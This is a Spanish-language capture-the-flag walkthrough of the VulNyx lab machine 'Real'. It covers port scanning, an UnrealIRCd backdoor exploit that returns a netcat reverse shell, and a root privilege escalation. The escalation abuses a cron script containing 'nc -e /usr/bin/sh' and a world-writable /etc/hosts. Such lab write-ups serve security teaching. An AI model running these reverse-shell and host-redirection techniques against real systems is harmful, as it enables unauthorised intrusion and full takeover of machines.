VulNyx - Real

logo

  • UnrealIRCd 3.2.8.1 Backdoor
  • Hosts Permission Misconfigured
  • Abuse Script Bash

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.38

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6667/tcp open  irc
6697/tcp open  ircs-u
8067/tcp open  infi-async

Escaneo de servicios

❯ nmap -sVC -v -p 22,80,6667,6697,8067 192.168.1.38

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 db282bab632a0ed5ea188d2f6d8c452d (RSA)
|   256 cda1c32e20f0f3f6d39b278e9a2d2611 (ECDSA)
|_  256 db9869a58bbd0586163d9c8b307ba36c (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.38 (Debian)
6667/tcp open  irc     UnrealIRCd
6697/tcp open  irc     UnrealIRCd
8067/tcp open  irc     UnrealIRCd
Service Info: Host: irc.foonet.com; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Buscando un poco por internet sobre UnrealIRCd he encontrado este exploit, para que funcione correctamente hay que configurar esta parte.

exploit

Dejo un netcat a la escucha y lanzo el exploit.

❯ python3 exploit.py -payload netcat 192.168.1.38 6667

Obtengo la shell.

❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.38] 54568
id
uid=1000(server) gid=1000(server) groups=1000(server)

Una vez dentro del sistema en el directorio /opt encuentro el archivo task.

#!/bin/bash

domain='shelly.real.nyx'

function check(){

        timeout 1 bash -c "/usr/bin/ping -c 1 $domain" > /dev/null 2>&1
    if [ "$(echo $?)" == "0" ]; then
        /usr/bin/nohup nc -e /usr/bin/sh $domain 65000
        exit 0
    else
        exit 1
    fi
}

check

El script verifica que el subdominio shelly.real.nyx es accesible mediante ping, si tiene éxito, abre una conexión utilizando netcat y ejecuta una shell en el subdominio especificado.

Con pspy64 puedo observar que hay una tarea cron que lanza task.

pspy64

Hago una búsqueda de archivos con permisos de escritura y encuentro /etc/hosts.

server@real:~$ find / -writable 2>/dev/null | grep -v -i -E 'proc|sys|dev|run|irc|home|tmp'
/etc/hosts

Verifico que permisos tiene el archivo hosts y veo que puedo leer y escribir.

server@real:~$ ls -la /etc/hosts
-rw----rw- 1 root root 183 May  3 08:36 /etc/hosts

Añado esta línea de código al archivo hosts.

192.168.1.18 shelly.real.nyx

Pongo un netcat a la escucha por el puerto 65000 y espero a que se conecte la shell para conseguir el root.

❯ nc -lvnp 65000
listening on [any] 65000 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.38] 34164
id
uid=0(root) gid=0(root) groups=0(root)

Y con esto ya tenemos resuelta la máquina Real.

Saludos!